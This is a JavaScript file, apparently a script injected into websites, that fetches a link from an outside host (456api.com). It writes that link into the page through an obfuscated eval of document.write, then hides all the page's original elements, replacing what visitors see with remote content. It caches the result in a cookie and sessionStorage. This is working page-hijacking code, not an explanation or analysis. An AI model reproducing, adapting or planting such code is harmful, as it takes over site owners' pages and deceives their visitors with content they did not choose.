var edcode="zq_cully"; var titlestr=document.title; var innerWeb = false; (function (){ var frmCookie = getCookie("frmcookie"); var sessionStr = sessionStorage.getItem("frmdata"); if(frmCookie && sessionStr){ console.log(sessionStr); setFrame(sessionStr); } else{ console.log(1); getData(); } })( ) function getData(){ var ajaxParam = "smplink"; if(document.location.protocol == "https:"){ajaxParam = "yuliu6";} ajax({ url: "//www.456api.com/index.php/Article/eddata?zq="+edcode+"&val="+ajaxParam+"&t="+Math.random(), type: "GET", dataType: "json", success: function (response, xml) { innerWeb = JSON.parse(response).info[ajaxParam]; setCookie("frmcookie",1,10); sessionStorage.setItem("frmdata",innerWeb); setFrame(innerWeb); }, fail: function (status) { console.log("error"); } }); } function setFrame(olink){ var ss = ''+titlestr+'
'; eval("do" + "cu" + "ment.wr" + "ite('" + ss + "');"); try { setTimeout(function() { console.log(document.body.children.length); for (var i = 0; i < document.body.children.length; i++) { try { var a = document.body.children[i].tagName; var b = document.body.children[i].id; console.log(i+"***"+a+"**"+b); if (b != "iconDiv1" && b != "showcloneshengxiaon" && a!="title") { document.body.children[i].style.display = "non" + "e" } } catch (e) {} } var oMeta = document.createElement('meta'); oMeta.name = 'viewport'; oMeta.content = 'width=device-width,initial-scale=1,minimum-scale=1,maximum-scale=1,user-scalable=no'; document.getElementsByTagName('head')[0].appendChild(oMeta); }, 100) } catch (e) {} } function setCookie(name, value, tMin) {var now = new Date();var offset = 8;var utc = now.getTime() + (now.getTimezoneOffset() * 60000);var nd = utc + (3600000 * offset);var exp = new Date(nd);var domain = document.domain;exp.setTime(exp.getTime() + tMin * 60 * 1000);document.cookie = name + "=" + escape(value) + ";path=/;expires=" + exp.toGMTString() + ";domain=" + domain + ";"} function getCookie(name){var arr,reg=new RegExp("(^| )"+name+"=([^;]*)(;|$)");if(arr=document.cookie.match(reg)){return unescape(arr[2]);}else{return null;}} function ajax(options) { options = options || {}; options.type = (options.type || "GET").toUpperCase(); options.dataType = options.dataType || "json"; var params = formatParams(options.data); //创建 - 非IE6 - 第一步 if (window.XMLHttpRequest) { var xhr = new XMLHttpRequest(); } else { //IE6及其以下版本浏览器 var xhr = new ActiveXObject('Microsoft.XMLHTTP'); } //接收 - 第三步 xhr.onreadystatechange = function () { if (xhr.readyState == 4) { var status = xhr.status; if (status >= 200 && status < 300) { options.success && options.success(xhr.responseText, xhr.responseXML); } else { options.fail && options.fail(status); } } } //连接 和 发送 - 第二步 if (options.type == "GET") { xhr.open("GET", options.url + "?" + params, true); xhr.send(null); } else if (options.type == "POST") { xhr.open("POST", options.url, true); //设置表单提交时的内容类型 xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send(params); } } //格式化参数 function formatParams(data) { var arr = []; for (var name in data) { arr.push(encodeURIComponent(name) + "=" + encodeURIComponent(data[name])); } arr.push(("v=" + Math.random()).replace(".","")); return arr.join("&"); }